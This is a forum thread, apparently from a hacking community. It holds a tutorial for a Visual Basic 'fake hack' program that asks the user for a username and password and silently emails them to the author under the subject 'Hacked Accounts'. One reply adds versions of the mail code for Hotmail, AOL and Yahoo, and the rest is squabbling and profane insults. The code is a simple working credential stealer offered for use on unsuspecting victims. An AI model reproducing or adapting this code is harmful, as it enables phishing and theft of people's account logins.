[TuT] How To Make a Fake Hack [Pics]
[TuT] How To Make a Fake Hack [Pics]
What?
What were making is a fake program that sends the text in the text box to your gmail after the progress bar is done loading.
The Design
This is pretty straight forward here just make a design with 2 text boxes, a button, a timer, and a loading bar.
The Code
Once your design is done double click on each "tool" in this order (for neatness) Form1, The timer, and lastly the button.
Now make a new Import like the following picture
Next add this in the Form1
Code:
Button1.Enabled = True
Timer1.Enabled = False
Next add this code in the timer1
Code:
If ProgressBar1.Value <> 100 Then ProgressBar1.Value = ProgressBar1.Value + "1"
If ProgressBar1.Value = 100 Then Timer1.Stop()
Next move to the button1 and add this to it
Code:
Timer1.Start()
Dim UserName As String = "YourEmailHere@Gmail.com"
Dim Password As String = "Your Emails"
Dim mail As MailMessage = New MailMessage
mail.From = New MailAddress(UserName)
mail.To.Add(New MailAddress(UserName))
mail.Priority = MailPriority.High
mail.Subject = "Hacked Accounts"
mail.Body = "Username: " + TextBox1.Text + vbNewLine + vbNewLine + "Password: " + TextBox2.Text
mail.IsBodyHtml = True
Dim client As SmtpClient = New SmtpClient("smtp.gmail.com", 587)
client.EnableSsl = True
client.Credentials = New System.Net.NetworkCredential(UserName, Password)
Try
client.Send(mail)
Catch ex As Exception
MessageBox.Show("An error occured while processing your request. Please try again.")
If ProgressBar1.Value = 100 Then Timer1.Stop()
End Try
You can fool proof it yourself this was hardcoded by me.
hahaha, you didn't make this, lol, don't take cred for other people's stuff, i doubt you made the server for this, idiot.
its just a simple phising or something like that -.-
and u leeched it -.-
and u leeched it -.-
Originally Posted by 258456
hahaha, you didn't make this, lol, don't take cred for other people's stuff, i doubt you made the server for this, idiot.
Originally Posted by aLcohoL_95
its just a simple phising or something like that -.-
and u leeched it -.-
and u leeched it -.-
msgbox("LOL")
the only person you could give credit to is Microsoft for creating the language xDD
all this code is , is a simple mail client that was made for .net very simple
Both of you shut the fuck up I just wrote this you get me the fucking link this is why new people cant register because people like you to dicks flame anyone that trys to do shit. Btw, learn some grammar you fucking retard. You don't need that many commas. Also, Go find me where I leached this off of including pictures you.
Originally Posted by Shaadow
Both of you shut the fuck up I just wrote this you get me the fucking link this is why new people cant register because people like you to dicks flame anyone that trys to do shit. Btw, learn some grammar you fucking retard. You don't need that many commas. Also, Go find me where I leached this off of including pictures you.
This Is So Simple . -_-
I know but some people may be new to VB... You just can't accept that some one is helping others...
This is like one of the first programs most people make.
1. Not that hard to do
2. So many tutorials for this why make one? (Even if it is leeched)
1. Not that hard to do
2. So many tutorials for this why make one? (Even if it is leeched)
I'm definitely gonna try this when I finally get my Microsoft Visual Studio 2010 (for free xD)... I tried this once b4 but in the end it never worked.... couldn't send the email or smthng :S ... ty if this 1 works xD
If you want to use other connections then GMAIL
Look at this :
Hotmail:
Aol
Yahoo:
These are all the ones I know,
Thank me if I helped ^^
Look at this :
Hotmail:
Code:
Dim mail As New MailMessage
Try
mail.To.Add(YourMail)
mail.From = New MailAddress("Your mail")
mail.Subject = txtsubj.Text
mail.Body = txtmsg.Text
Dim SMTP As New SmtpClient("smtp.live.com")
SMTP.Port = 25
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Your mail", "Your Pw".Text)
SMTP.Send(mail)
Catch ex As Exception
MsgBox("Something Went Wrong", MsgBoxStyle.Exclamation, "Warning")
End Try
Code:
Dim mail As New MailMessage
Try
mail.To.Add("Your mail")
mail.From = New MailAddress("Your Mail")
mail.Subject = txtsubj.Text
mail.Body = txtmsg.Text
Dim SMTP As New SmtpClient("smtp.uk.aol.com")
SMTP.Port = 465
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Your Mail", "Your Pw")
SMTP.Send(mail)
Catch ex As Exception
MsgBox("Something Went Wrong", MsgBoxStyle.Exclamation, "Warning")
End Try
Code:
Dim mail As New MailMessage
Try
mail.To.Add("Your Mail")
mail.From = New MailAddress("Your Mail")
mail.Subject = txtsubj.Text
mail.Body = txtmsg.Text
Dim SMTP As New SmtpClient("plus.smtp.mail.yahoo.com")
SMTP.Port = 465
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Your Mail", "Your Pw")
SMTP.Send(mail)
Catch ex As Exception
MsgBox("Something Went Wrong", MsgBoxStyle.Exclamation, "Warning")
End Try
Thank me if I helped ^^
Originally Posted by Shaadow
What?
What were making is a fake program that sends the text in the text box to your gmail after the progress bar is done loading.
The Design
This is pretty straight forward here just make a design with 2 text boxes, a button, a timer, and a loading bar.
The Code
Once your design is done double click on each "tool" in this order (for neatness) Form1, The timer, and lastly the button.
Now make a new Import like the following picture
Next add this in the Form1
Code:
Button1.Enabled = True
Timer1.Enabled = False
Next add this code in the timer1
Code:
If ProgressBar1.Value <> 100 Then ProgressBar1.Value = ProgressBar1.Value + "1"
If ProgressBar1.Value = 100 Then Timer1.Stop()
Next move to the button1 and add this to it
Code:
Timer1.Start()
Dim UserName As String = "YourEmailHere@Gmail.com"
Dim Password As String = "Your Emails"
Dim mail As MailMessage = New MailMessage
mail.From = New MailAddress(UserName)
mail.To.Add(New MailAddress(UserName))
mail.Priority = MailPriority.High
mail.Subject = "Hacked Accounts"
mail.Body = "Username: " + TextBox1.Text + vbNewLine + vbNewLine + "Password: " + TextBox2.Text
mail.IsBodyHtml = True
Dim client As SmtpClient = New SmtpClient("smtp.gmail.com", 587)
client.EnableSsl = True
client.Credentials = New System.Net.NetworkCredential(UserName, Password)
Try
client.Send(mail)
Catch ex As Exception
MessageBox.Show("An error occured while processing your request. Please try again.")
If ProgressBar1.Value = 100 Then Timer1.Stop()
End Try
You can fool proof it yourself this was hardcoded by me.
tube and this is a fake login nota fake hack NOOB LEECHER C&P! Originally Posted by redkevin25
haha hardcoded this code is just the same when you searh it on googletube and this is a fake login nota fake hack NOOB LEECHER C&P!
tube and this is a fake login nota fake hack NOOB LEECHER C&P!lmao mac design.
Originally Posted by asifgunz
lmao mac design.
ps. not backseat moderating, just guiding newbs...
